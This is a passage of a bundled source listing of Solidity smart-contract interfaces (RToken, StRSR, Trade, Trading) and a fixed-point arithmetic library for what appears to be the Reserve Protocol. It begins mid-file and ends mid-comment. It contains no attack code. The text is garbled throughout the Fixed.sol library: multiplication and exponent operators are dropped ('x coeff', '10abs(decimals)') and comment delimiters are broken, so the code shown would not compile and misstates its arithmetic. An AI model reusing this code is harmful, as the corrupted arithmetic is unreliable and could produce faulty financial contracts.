\"./IMain.sol\";\nimport \"./IRewardable.sol\";\n\n/\n @title IRToken\n * @notice An RToken is an ERC20 that is permissionlessly issuable/redeemable and tracks an\n * exchange rate against a single unit: baskets, or {BU} in our type notation.\n /\ninterface IRToken is IComponent, IERC20MetadataUpgradeable, IERC20PermitUpgradeable {\n /// Emitted when an issuance of RToken occurs, whether it occurs via slow minting or not\n /// @param issuer The address holding collateral tokens\n /// @param recipient The address of the recipient of the RTokens\n /// @param amount The quantity of RToken being issued\n /// @param baskets The corresponding number of baskets\n event Issuance(\n address indexed issuer,\n address indexed recipient,\n uint256 amount,\n uint192 baskets\n );\n\n /// Emitted when a redemption of RToken occurs\n /// @param redeemer The address holding RToken\n /// @param recipient The address of the account receiving the backing collateral tokens\n /// @param amount The quantity of RToken being redeemed\n /// @param baskets The corresponding number of baskets\n /// @param amount {qRTok} The amount of RTokens canceled\n event Redemption(\n address indexed redeemer,\n address indexed recipient,\n uint256 amount,\n uint192 baskets\n );\n\n /// Emitted when the number of baskets needed changes\n /// @param oldBasketsNeeded Previous number of baskets units needed\n /// @param newBasketsNeeded New number of basket units needed\n event BasketsNeededChanged(uint192 oldBasketsNeeded, uint192 newBasketsNeeded);\n\n /// Emitted when RToken is melted, i.e the RToken supply is decreased but basketsNeeded is not\n /// @param amount {qRTok}\n event Melted(uint256 amount);\n\n /// Emitted when issuance SupplyThrottle params are set\n event IssuanceThrottleSet(ThrottleLib.Params oldVal, ThrottleLib.Params newVal);\n\n /// Emitted when redemption SupplyThrottle params are set\n event RedemptionThrottleSet(ThrottleLib.Params oldVal, ThrottleLib.Params newVal);\n\n // Initialization\n function init(\n IMain main_,\n string memory name_,\n string memory symbol_,\n string memory mandate_,\n ThrottleLib.Params calldata issuanceThrottleParams,\n ThrottleLib.Params calldata redemptionThrottleParams\n ) external;\n\n /// Issue an RToken with basket collateral\n /// @param amount {qRTok} The quantity of RToken to issue\n /// @custom:interaction\n function issue(uint256 amount) external;\n\n /// Issue an RToken with basket collateral, to a particular recipient\n /// @param recipient The address to receive the issued RTokens\n /// @param amount {qRTok} The quantity of RToken to issue\n /// @custom:interaction\n function issueTo(address recipient, uint256 amount) external;\n\n /// Redeem RToken for basket collateral\n /// @dev Use redeemCustom for non-current baskets\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @custom:interaction\n function redeem(uint256 amount) external;\n\n /// Redeem RToken for basket collateral to a particular recipient\n /// @dev Use redeemCustom for non-current baskets\n /// @param recipient The address to receive the backing collateral tokens\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @custom:interaction\n function redeemTo(address recipient, uint256 amount) external;\n\n /// Redeem RToken for a linear combination of historical baskets, to a particular recipient\n /// @dev Allows partial redemptions up to the minAmounts\n /// @param recipient The address to receive the backing collateral tokens\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @param basketNonces An array of basket nonces to do redemption from\n /// @param portions {1} An array of Fix quantities that must add up to FIX_ONE\n /// @param expectedERC20sOut An array of ERC20s expected out\n /// @param minAmounts {qTok} The minimum ERC20 quantities the caller should receive\n /// @custom:interaction\n function redeemCustom(\n address recipient,\n uint256 amount,\n uint48[] memory basketNonces,\n uint192[] memory portions,\n address[] memory expectedERC20sOut,\n uint256[] memory minAmounts\n ) external;\n\n /// Mint an amount of RToken equivalent to baskets BUs, scaling basketsNeeded up\n /// Callable only by BackingManager\n /// @param baskets {BU} The number of baskets to mint RToken for\n /// @custom:protected\n function mint(uint192 baskets) external;\n\n /// Melt a quantity of RToken from the caller's account\n /// @param amount {qRTok} The amount to be melted\n /// @custom:protected\n function melt(uint256 amount) external;\n\n /// Burn an amount of RToken from caller's account and scale basketsNeeded down\n /// Callable only by BackingManager\n /// @custom:protected\n function dissolve(uint256 amount) external;\n\n /// Set the number of baskets needed directly, callable only by the BackingManager\n /// @param basketsNeeded {BU} The number of baskets to target\n /// needed range: pretty interesting\n /// @custom:protected\n function setBasketsNeeded(uint192 basketsNeeded) external;\n\n /// @return {BU} How many baskets are being targeted\n function basketsNeeded() external view returns (uint192);\n\n /// @return {qRTok} The maximum issuance that can be performed in the current block\n function issuanceAvailable() external view returns (uint256);\n\n /// @return {qRTok} The maximum redemption that can be performed in the current block\n function redemptionAvailable() external view returns (uint256);\n}\n\ninterface TestIRToken is IRToken {\n function setIssuanceThrottleParams(ThrottleLib.Params calldata) external;\n\n function setRedemptionThrottleParams(ThrottleLib.Params calldata) external;\n\n function issuanceThrottleParams() external view returns (ThrottleLib.Params memory);\n\n function redemptionThrottleParams() external view returns (ThrottleLib.Params memory);\n\n function increaseAllowance(address, uint256) external returns (bool);\n\n function decreaseAllowance(address, uint256) external returns (bool);\n\n function monetizeDonations(IERC20) external;\n}\n" }, "contracts/interfaces/IStRSR.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol\";\n// solhint-disable-next-line max-line-length\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\n\n/\n @title IStRSR\n * @notice An ERC20 token representing shares of the RSR over-collateralization pool.\n \n StRSR permits the BackingManager to take RSR in times of need. In return, the BackingManager\n * benefits the StRSR pool with RSR rewards purchased with a portion of its revenue.\n \n In the absence of collateral default or losses due to slippage, StRSR should have a\n * monotonically increasing exchange rate with respect to RSR, meaning that over time\n * StRSR is redeemable for more RSR. It is non-rebasing.\n /\ninterface IStRSR is IERC20MetadataUpgradeable, IERC20PermitUpgradeable, IComponent {\n /// Emitted when RSR is staked\n /// @param era The era at time of staking\n /// @param staker The address of the staker\n /// @param rsrAmount {qRSR} How much RSR was staked\n /// @param stRSRAmount {qStRSR} How much stRSR was minted by this staking\n event Staked(\n uint256 indexed era,\n address indexed staker,\n uint256 rsrAmount,\n uint256 stRSRAmount\n );\n\n /// Emitted when an unstaking is started\n /// @param draftId The id of the draft.\n /// @param draftEra The era of the draft.\n /// @param staker The address of the unstaker\n /// The triple (staker, draftEra, draftId) is a unique ID\n /// @param rsrAmount {qRSR} How much RSR this unstaking will be worth, absent seizures\n /// @param stRSRAmount {qStRSR} How much stRSR was burned by this unstaking\n event UnstakingStarted(\n uint256 indexed draftId,\n uint256 indexed draftEra,\n address indexed staker,\n uint256 rsrAmount,\n uint256 stRSRAmount,\n uint256 availableAt\n );\n\n /// Emitted when RSR is unstaked\n /// @param firstId The beginning of the range of draft IDs withdrawn in this transaction\n /// @param endId The end of range of draft IDs withdrawn in this transaction\n /// (ID i was withdrawn if firstId <= i < endId)\n /// @param draftEra The era of the draft.\n /// The triple (staker, draftEra, id) is a unique ID among drafts\n /// @param staker The address of the unstaker\n\n /// @param rsrAmount {qRSR} How much RSR this unstaking was worth\n event UnstakingCompleted(\n uint256 indexed firstId,\n uint256 indexed endId,\n uint256 draftEra,\n address indexed staker,\n uint256 rsrAmount\n );\n\n /// Emitted when RSR unstaking is cancelled\n /// @param firstId The beginning of the range of draft IDs withdrawn in this transaction\n /// @param endId The end of range of draft IDs withdrawn in this transaction\n /// (ID i was withdrawn if firstId <= i < endId)\n /// @param draftEra The era of the draft.\n /// The triple (staker, draftEra, id) is a unique ID among drafts\n /// @param staker The address of the unstaker\n\n /// @param rsrAmount {qRSR} How much RSR this unstaking was worth\n event UnstakingCancelled(\n uint256 indexed firstId,\n uint256 indexed endId,\n uint256 draftEra,\n address indexed staker,\n uint256 rsrAmount\n );\n\n /// Emitted whenever the exchange rate changes\n event ExchangeRateSet(uint192 oldVal, uint192 newVal);\n\n /// Emitted whenever RSR are paids out\n event RewardsPaid(uint256 rsrAmt);\n\n /// Emitted if all the RSR in the staking pool is seized and all balances are reset to zero.\n event AllBalancesReset(uint256 indexed newEra);\n /// Emitted if all the RSR in the unstakin pool is seized, and all ongoing unstaking is voided.\n event AllUnstakingReset(uint256 indexed newEra);\n\n event UnstakingDelaySet(uint48 oldVal, uint48 newVal);\n event RewardRatioSet(uint192 oldVal, uint192 newVal);\n event WithdrawalLeakSet(uint192 oldVal, uint192 newVal);\n\n // Initialization\n function init(\n IMain main_,\n string memory name_,\n string memory symbol_,\n uint48 unstakingDelay_,\n uint192 rewardRatio_,\n uint192 withdrawalLeak_\n ) external;\n\n /// Gather and payout rewards from rsrTrader\n /// @custom:interaction\n function payoutRewards() external;\n\n /// Stakes an RSR `amount` on the corresponding RToken to earn yield and over-collateralized\n /// the system\n /// @param amount {qRSR}\n /// @custom:interaction\n function stake(uint256 amount) external;\n\n /// Begins a delayed unstaking for `amount` stRSR\n /// @param amount {qStRSR}\n /// @custom:interaction\n function unstake(uint256 amount) external;\n\n /// Complete delayed unstaking for the account, up to (but not including!) `endId`\n /// @custom:interaction\n function withdraw(address account, uint256 endId) external;\n\n /// Cancel unstaking for the account, up to (but not including!) `endId`\n /// @custom:interaction\n function cancelUnstake(uint256 endId) external;\n\n /// Seize RSR, only callable by main.backingManager()\n /// @custom:protected\n function seizeRSR(uint256 amount) external;\n\n /// Reset all stakes and advance era\n /// @custom:governance\n function resetStakes() external;\n\n /// Return the maximum valid value of endId such that withdraw(endId) should immediately work\n function endIdForWithdraw(address account) external view returns (uint256 endId);\n\n /// @return {qRSR/qStRSR} The exchange rate between RSR and StRSR\n function exchangeRate() external view returns (uint192);\n}\n\ninterface TestIStRSR is IStRSR {\n function rewardRatio() external view returns (uint192);\n\n function setRewardRatio(uint192) external;\n\n function unstakingDelay() external view returns (uint48);\n\n function setUnstakingDelay(uint48) external;\n\n function withdrawalLeak() external view returns (uint192);\n\n function setWithdrawalLeak(uint192) external;\n\n function increaseAllowance(address, uint256) external returns (bool);\n\n function decreaseAllowance(address, uint256) external returns (bool);\n\n /// @return {qStRSR/qRSR} The exchange rate between StRSR and RSR\n function exchangeRate() external view returns (uint192);\n}\n" }, "contracts/interfaces/ITrade.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"./IBroker.sol\";\nimport \"./IVersioned.sol\";\n\nenum TradeStatus {\n NOT_STARTED, // before init()\n OPEN, // after init() and before settle()\n CLOSED, // after settle()\n // === Intermediate-tx state ===\n PENDING // during init() or settle() (reentrancy protection)\n}\n\n/\n Simple generalized trading interface for all Trade contracts to obey\n \n Usage: if (canSettle()) settle()\n /\ninterface ITrade is IVersioned {\n /// Complete the trade and transfer tokens back to the origin trader\n /// @return soldAmt {qSellTok} The quantity of tokens sold\n /// @return boughtAmt {qBuyTok} The quantity of tokens bought\n function settle() external returns (uint256 soldAmt, uint256 boughtAmt);\n\n function sell() external view returns (IERC20Metadata);\n\n function buy() external view returns (IERC20Metadata);\n\n /// @return {tok} The sell amount of the trade, in whole tokens\n function sellAmount() external view returns (uint192);\n\n /// @return The timestamp at which the trade is projected to become settle-able\n function endTime() external view returns (uint48);\n\n /// @return True if the trade can be settled\n /// @dev Should be guaranteed to be true eventually as an invariant\n function canSettle() external view returns (bool);\n\n /// @return TradeKind.DUTCH_AUCTION or TradeKind.BATCH_AUCTION\n // solhint-disable-next-line func-name-mixedcase\n function KIND() external view returns (TradeKind);\n}\n" }, "contracts/interfaces/ITrading.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./ITrade.sol\";\nimport \"./IRewardable.sol\";\n\n/\n @title ITrading\n * @notice Common events and refresher function for all Trading contracts\n /\ninterface ITrading is IComponent, IRewardableComponent {\n event MaxTradeSlippageSet(uint192 oldVal, uint192 newVal);\n event MinTradeVolumeSet(uint192 oldVal, uint192 newVal);\n\n /// Emitted when a trade is started\n /// @param trade The one-time-use trade contract that was just deployed\n /// @param sell The token to sell\n /// @param buy The token to buy\n /// @param sellAmount {qSellTok} The quantity of the selling token\n /// @param minBuyAmount {qBuyTok} The minimum quantity of the buying token to accept\n event TradeStarted(\n ITrade indexed trade,\n IERC20 indexed sell,\n IERC20 indexed buy,\n uint256 sellAmount,\n uint256 minBuyAmount\n );\n\n /// Emitted after a trade ends\n /// @param trade The one-time-use trade contract\n /// @param sell The token to sell\n /// @param buy The token to buy\n /// @param sellAmount {qSellTok} The quantity of the token sold\n /// @param buyAmount {qBuyTok} The quantity of the token bought\n event TradeSettled(\n ITrade indexed trade,\n IERC20 indexed sell,\n IERC20 indexed buy,\n uint256 sellAmount,\n uint256 buyAmount\n );\n\n /// Settle a single trade, expected to be used with multicall for efficient mass settlement\n /// @param sell The sell token in the trade\n /// @return The trade settled\n /// @custom:refresher\n function settleTrade(IERC20 sell) external returns (ITrade);\n\n /// @return {%} The maximum trade slippage acceptable\n function maxTradeSlippage() external view returns (uint192);\n\n /// @return {UoA} The minimum trade volume in UoA, applies to all assets\n function minTradeVolume() external view returns (uint192);\n\n /// @return The ongoing trade for a sell token, or the zero address\n function trades(IERC20 sell) external view returns (ITrade);\n\n /// @return The number of ongoing trades open\n function tradesOpen() external view returns (uint48);\n\n /// @return The number of total trades ever opened\n function tradesNonce() external view returns (uint256);\n}\n\ninterface TestITrading is ITrading {\n /// @custom:governance\n function setMaxTradeSlippage(uint192 val) external;\n\n /// @custom:governance\n function setMinTradeVolume(uint192 val) external;\n}\n" }, "contracts/interfaces/IVersioned.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\ninterface IVersioned {\n function version() external view returns (string memory);\n}\n" }, "contracts/libraries/Fixed.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\n// solhint-disable func-name-mixedcase func-visibility\n// slither-disable-start divide-before-multiply\npragma solidity ^0.8.19;\n\n/// @title FixedPoint, a fixed-point arithmetic library defining the custom type uint192\n/// @author Matt Elder <matt.elder@reserve.org> and the Reserve Team <https://reserve.org>\n\n/* The logical type `uint192 ` is a 192 bit value, representing an 18-decimal Fixed-point\n fractional value. This is what's described in the Solidity documentation as\n \"fixed192x18\" -- a value represented by 192 bits, that makes 18 digits available to\n the right of the decimal point.\n\n The range of values that uint192 can represent is about [-1.7e20, 1.7e20].\n Unless a function explicitly says otherwise, it will fail on overflow.\n To be clear, the following should hold:\n toFix(0) == 0\n toFix(1) == 1e18\n/\n\n// Analysis notes:\n// Every function should revert iff its result is out of bounds.\n// Unless otherwise noted, when a rounding mode is given, that mode is applied to\n// a single division that may happen as the last step in the computation.\n// Unless otherwise noted, when a rounding mode is not* given but is needed, it's FLOOR.\n// For each, we comment:\n// - @return is the value expressed in \"value space\", where uint192(1e18) \"is\" 1.0\n// - as-ints: is the value expressed in \"implementation space\", where uint192(1e18) \"is\" 1e18\n// The \"@return\" expression is suitable for actually using the library\n// The \"as-ints\" expression is suitable for testing\n\n// A uint value passed to this library was out of bounds for uint192 operations\nerror UIntOutOfBounds();\nbytes32 constant UIntOutofBoundsHash = keccak256(abi.encodeWithSignature(\"UIntOutOfBounds()\"));\n\n// Used by P1 implementation for easier casting\nuint256 constant FIX_ONE_256 = 1e18;\nuint8 constant FIX_DECIMALS = 18;\n\n// If a particular uint192 is represented by the uint192 n, then the uint192 represents the\n// value n/FIX_SCALE.\nuint64 constant FIX_SCALE = 1e18;\n\n// FIX_SCALE Squared:\nuint128 constant FIX_SCALE_SQ = 1e36;\n\n// The largest integer that can be converted to uint192 .\n// This is a bit bigger than 3.1e39\nuint192 constant FIX_MAX_INT = type(uint192).max / FIX_SCALE;\n\nuint192 constant FIX_ZERO = 0; // The uint192 representation of zero.\nuint192 constant FIX_ONE = FIX_SCALE; // The uint192 representation of one.\nuint192 constant FIX_MAX = type(uint192).max; // The largest uint192. (Not an integer!)\nuint192 constant FIX_MIN = 0; // The smallest uint192.\n\n/// An enum that describes a rounding approach for converting to ints\nenum RoundingMode {\n FLOOR, // Round towards zero\n ROUND, // Round to the nearest int\n CEIL // Round away from zero\n}\n\nRoundingMode constant FLOOR = RoundingMode.FLOOR;\nRoundingMode constant ROUND = RoundingMode.ROUND;\nRoundingMode constant CEIL = RoundingMode.CEIL;\n\n/* @dev Solidity 0.8.x only allows you to change one of type or size per type conversion.\n Thus, all the tedious-looking double conversions like uint256(uint256 (foo))\n See: https://docs.soliditylang.org/en/v0.8.17/080-breaking-changes.html#new-restrictions\n /\n\n/// Explicitly convert a uint256 to a uint192. Revert if the input is out of bounds.\nfunction _safeWrap(uint256 x) pure returns (uint192) {\n if (FIX_MAX < x) revert UIntOutOfBounds();\n return uint192(x);\n}\n\n/// Convert a uint to its Fix representation.\n/// @return x\n// as-ints: x 1e18\nfunction toFix(uint256 x) pure returns (uint192) {\n return _safeWrap(x * FIX_SCALE);\n}\n\n/// Convert a uint to its fixed-point representation, and left-shift its value `shiftLeft`\n/// decimal digits.\n/// @return x * 10*shiftLeft\n// as-ints: x 10*(shiftLeft + 18)\nfunction shiftl_toFix(uint256 x, int8 shiftLeft) pure returns (uint192) {\n return shiftl_toFix(x, shiftLeft, FLOOR);\n}\n\n/// @return x 10*shiftLeft\n// as-ints: x 10(shiftLeft + 18)\nfunction shiftl_toFix(\n uint256 x,\n int8 shiftLeft,\n RoundingMode rounding\n) pure returns (uint192) {\n // conditions for avoiding overflow\n if (x == 0) return 0;\n if (shiftLeft <= -96) return (rounding == CEIL ? 1 : 0); // 0 < uint.max / 1077 < 0.5\n if (40 <= shiftLeft) revert UIntOutOfBounds(); // 1056 < FIX_MAX < 1057\n\n shiftLeft += 18;\n\n uint256 coeff = 10*abs(shiftLeft);\n uint256 shifted = (shiftLeft >= 0) ? x coeff : _divrnd(x, coeff, rounding);\n\n return _safeWrap(shifted);\n}\n\n/// Divide a uint by a uint192, yielding a uint192\n/// This may also fail if the result is MIN_uint192! not fixing this for optimization's sake.\n/// @return x / y\n// as-ints: x * 1e36 / y\nfunction divFix(uint256 x, uint192 y) pure returns (uint192) {\n // If we didn't have to worry about overflow, we'd just do `return x * 1e36 / _y`\n // If it's safe to do this operation the easy way, do it:\n if (x < uint256(type(uint256).max / FIX_SCALE_SQ)) {\n return _safeWrap(uint256(x * FIX_SCALE_SQ) / y);\n } else {\n return _safeWrap(mulDiv256(x, FIX_SCALE_SQ, y));\n }\n}\n\n/// Divide a uint by a uint, yielding a uint192\n/// @return x / y\n// as-ints: x * 1e18 / y\nfunction divuu(uint256 x, uint256 y) pure returns (uint192) {\n return _safeWrap(mulDiv256(FIX_SCALE, x, y));\n}\n\n/// @return min(x,y)\n// as-ints: min(x,y)\nfunction fixMin(uint192 x, uint192 y) pure returns (uint192) {\n return x < y ? x : y;\n}\n\n/// @return max(x,y)\n// as-ints: max(x,y)\nfunction fixMax(uint192 x, uint192 y) pure returns (uint192) {\n return x > y ? x : y;\n}\n\n/// @return absoluteValue(x,y)\n// as-ints: absoluteValue(x,y)\nfunction abs(int256 x) pure returns (uint256) {\n return x < 0 ? uint256(-x) : uint256(x);\n}\n\n/// Divide two uints, returning a uint, using rounding mode `rounding`.\n/// @return numerator / divisor\n// as-ints: numerator / divisor\nfunction _divrnd(\n uint256 numerator,\n uint256 divisor,\n RoundingMode rounding\n) pure returns (uint256) {\n uint256 result = numerator / divisor;\n\n if (rounding == FLOOR) return result;\n\n if (rounding == ROUND) {\n if (numerator % divisor > (divisor - 1) / 2) {\n result++;\n }\n } else {\n if (numerator % divisor > 0) {\n result++;\n }\n }\n\n return result;\n}\n\nlibrary FixLib {\n /// Again, all arithmetic functions fail if and only if the result is out of bounds.\n\n /// Convert this fixed-point value to a uint. Round towards zero if needed.\n /// @return x\n // as-ints: x / 1e18\n function toUint(uint192 x) internal pure returns (uint136) {\n return toUint(x, FLOOR);\n }\n\n /// Convert this uint192 to a uint\n /// @return x\n // as-ints: x / 1e18 with rounding\n function toUint(uint192 x, RoundingMode rounding) internal pure returns (uint136) {\n return uint136(_divrnd(uint256(x), FIX_SCALE, rounding));\n }\n\n /// Return the uint192 shifted to the left by `decimal` digits\n /// (Similar to a bitshift but in base 10)\n /// @return x * 10*decimals\n // as-ints: x 10*decimals\n function shiftl(uint192 x, int8 decimals) internal pure returns (uint192) {\n return shiftl(x, decimals, FLOOR);\n }\n\n /// Return the uint192 shifted to the left by `decimal` digits\n /// (Similar to a bitshift but in base 10)\n /// @return x 10*decimals\n // as-ints: x 10decimals\n function shiftl(\n uint192 x,\n int8 decimals,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // Handle overflow cases\n if (x == 0) return 0;\n if (decimals <= -59) return (rounding == CEIL ? 1 : 0); // 59, because 1e58 > 2192\n if (58 <= decimals) revert UIntOutOfBounds(); // 58, because x * 1e58 > 2 192 if x != 0\n\n uint256 coeff = uint256(10abs(decimals));\n return _safeWrap(decimals >= 0 ? x * coeff : _divrnd(x, coeff, rounding));\n }\n\n /// Add a uint192 to this uint192\n /// @return x + y\n // as-ints: x + y\n function plus(uint192 x, uint192 y) internal pure returns (uint192) {\n return x + y;\n }\n\n /// Add a uint to this uint192\n /// @return x + y\n // as-ints: x + y1e18\n function plusu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(x + y FIX_SCALE);\n }\n\n /// Subtract a uint192 from this uint192\n /// @return x - y\n // as-ints: x - y\n function minus(uint192 x, uint192 y) internal pure returns (uint192) {\n return x - y;\n }\n\n /// Subtract a uint from this uint192\n /// @return x - y\n // as-ints: x - y1e18\n function minusu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(uint256(x) - uint256(y FIX_SCALE));\n }\n\n /// Multiply this uint192 by a uint192\n /// Round truncated values to the nearest available value. 5e-19 rounds away from zero.\n /// @return x * y\n // as-ints: x * y/1e18 [division using ROUND, not FLOOR]\n function mul(uint192 x, uint192 y) internal pure returns (uint192) {\n return mul(x, y, ROUND);\n }\n\n /// Multiply this uint192 by a uint192\n /// @return x * y\n // as-ints: x * y/1e18\n function mul(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(_divrnd(uint256(x) * uint256(y), FIX_SCALE, rounding));\n }\n\n /// Multiply this uint192 by a uint\n /// @return x * y\n // as-ints: x * y\n function mulu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(x * y);\n }\n\n /// Divide this uint192 by a uint192\n /// @return x / y\n // as-ints: x * 1e18 / y\n function div(uint192 x, uint192 y) internal pure returns (uint192) {\n return div(x, y, FLOOR);\n }\n\n /// Divide this uint192 by a uint192\n /// @return x / y\n // as-ints: x * 1e18 / y\n function div(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // Multiply-in FIX_SCALE before dividing by y to preserve precision.\n return _safeWrap(_divrnd(uint256(x) * FIX_SCALE, y, rounding));\n }\n\n /// Divide this uint192 by a uint\n /// @return x / y\n // as-ints: x / y\n function divu(uint192 x, uint256 y) internal pure returns (uint192) {\n return divu(x, y, FLOOR);\n }\n\n /// Divide this uint192 by a uint\n /// @return x / y\n // as-ints: x / y\n function divu(\n uint192 x,\n uint256 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(_divrnd(x, y, rounding));\n }\n\n uint64 constant FIX_HALF = uint64(FIX_SCALE) / 2;\n\n /// Raise this uint192 to a nonnegative integer power. Requires that x_ <= FIX_ONE\n /// Gas cost is O(lg(y)), precision is +- 1e-18.\n /// @return x_ y\n // as-ints: x_ y / 1e18*(y-1) <- technically correct for y = 0. :D\n function powu(uint192 x_, uint48 y) internal pure returns (uint192) {\n require(x_ <= FIX_ONE);\n if (y == 1) return x_;\n if (x_ == FIX_ONE \|\| y == 0) return FIX_ONE;\n uint256 x = uint256(x_) FIX_SCALE; // x is D36\n uint256 result = FIX_SCALE_SQ; // result is D36\n while (true) {\n if (y & 1 == 1) result = (result * x + FIX_SCALE_SQ / 2) / FIX_SCALE_SQ;\n if (y <= 1) break;\n y = (y >> 1);\n x = (x * x + FIX_SCALE_SQ / 2) / FIX_SCALE_SQ;\n }\n return _safeWrap(result / FIX_SCALE);\n }\n\n /// Comparison operators...\n function lt(uint192 x, uint192 y) internal pure returns (bool) {\n return x < y;\n }\n\n function lte(uint192 x, uint192 y) internal pure returns (bool) {\n return x <= y;\n }\n\n function gt(uint192 x, uint192 y) internal pure returns (bool) {\n return x > y;\n }\n\n function gte(uint192 x, uint192 y) internal pure returns (bool) {\n return x >= y;\n }\n\n function eq(uint192 x, uint192 y) internal pure returns (bool) {\n return x == y;\n }\n\n function neq(uint192 x, uint192 y) internal pure returns (bool) {\n return x != y;\n }\n\n /// Return whether or not this uint192 is less than epsilon away from y.\n /// @return \|x - y\| < epsilon\n // as-ints: \|x - y\| < epsilon\n function near(\n uint192 x,\n uint192 y,\n uint192 epsilon\n ) internal pure returns (bool) {\n uint192 diff = x <= y ? y - x : x - y;\n return diff < epsilon;\n }\n\n // ================ Chained Operations ================\n // The operation foo_bar() always means:\n // Do foo() followed by bar(), and overflow only if the _end_ result doesn't fit in an uint192\n\n /// Shift this uint192 left by `decimals` digits, and convert to a uint\n /// @return x * 10*decimals\n // as-ints: x 10*(decimals - 18)\n function shiftl_toUint(uint192 x, int8 decimals) internal pure returns (uint256) {\n return shiftl_toUint(x, decimals, FLOOR);\n }\n\n /// Shift this uint192 left by `decimals` digits, and convert to a uint.\n /// @return x 10*decimals\n // as-ints: x 10(decimals - 18)\n function shiftl_toUint(\n uint192 x,\n int8 decimals,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n // Handle overflow cases\n if (x == 0) return 0; // always computable, no matter what decimals is\n if (decimals <= -42) return (rounding == CEIL ? 1 : 0);\n if (96 <= decimals) revert UIntOutOfBounds();\n\n decimals -= 18; // shift so that toUint happens at the same time.\n\n uint256 coeff = uint256(10abs(decimals));\n return decimals >= 0 ? uint256(x * coeff) : uint256(_divrnd(x, coeff, rounding));\n }\n\n /// Multiply this uint192 by a uint, and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e18\n function mulu_toUint(uint192 x, uint256 y) internal pure returns (uint256) {\n return mulDiv256(uint256(x), y, FIX_SCALE);\n }\n\n /// Multiply this uint192 by a uint, and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e18\n function mulu_toUint(\n uint192 x,\n uint256 y,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n return mulDiv256(uint256(x), y, FIX_SCALE, rounding);\n }\n\n /// Multiply this uint192 by a uint192 and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e36\n function mul_toUint(uint192 x, uint192 y) internal pure returns (uint256) {\n return mulDiv256(uint256(x), uint256(y), FIX_SCALE_SQ);\n }\n\n /// Multiply this uint192 by a uint192 and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e36\n function mul_toUint(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n return mulDiv256(uint256(x), uint256(y), FIX_SCALE_SQ, rounding);\n }\n\n /// Compute x * y / z avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function muluDivu(\n uint192 x,\n uint256 y,\n uint256 z\n ) internal pure returns (uint192) {\n return muluDivu(x, y, z, FLOOR);\n }\n\n /// Compute x * y / z, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function muluDivu(\n uint192 x,\n uint256 y,\n uint256 z,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(mulDiv256(x, y, z, rounding));\n }\n\n /// Compute x * y / z on Fixes, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function mulDiv(\n uint192 x,\n uint192 y,\n uint192 z\n ) internal pure returns (uint192) {\n return mulDiv(x, y, z, FLOOR);\n }\n\n /// Compute x * y / z on Fixes, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function mulDiv(\n uint192 x,\n uint192 y,\n uint192 z,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(mulDiv256(x, y, z, rounding));\n }\n\n // === safe() ===\n\n /// Multiply two fixes, rounding up to FIX_MAX and down to 0\n /// @param a First param to multiply\n /// @param b Second param to multiply\n function safeMul(\n uint192 a,\n uint192 b,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // untestable:\n // a will never = 0 here because of the check in _price()\n if (a == 0 \|\| b == 0) return 0;\n // untestable:\n // a = FIX_MAX iff b = 0\n if (a == FIX_MAX \|\| b == FIX_MAX) return FIX_MAX;\n\n // return FIX_MAX instead of throwing overflow errors.\n unchecked {\n // p and mul are* Fix values, so have 18 decimals (D18)\n uint256 rawDelta = uint256(b) * a; // {D36} = {D18} * {D18}\n // if we overflowed, then return FIX_MAX\n if (rawDelta / b != a) return FIX_MAX;\n uint256 shiftDelta = rawDelta;\n\n // add in rounding\n if (rounding == RoundingMode.ROUND) shiftDelta += (FIX_ONE / 2);\n else if (rounding == RoundingMode.CEIL) shiftDelta += FIX_ONE - 1;\n\n // untestable (here there be dragons):\n // (below explanation is for the ROUND case, but it extends to the FLOOR/CEIL too)\n // A) shiftDelta = rawDelta + (FIX_ONE / 2)\n // shiftDelta overflows if:\n // B) shiftDelta = MAX_UINT256 - FIX_ONE/2 + 1\n // rawDelta + (FIX_ONE/2) = MAX_UINT256 - FIX_ONE/2 + 1\n // b * a = MAX_UINT256 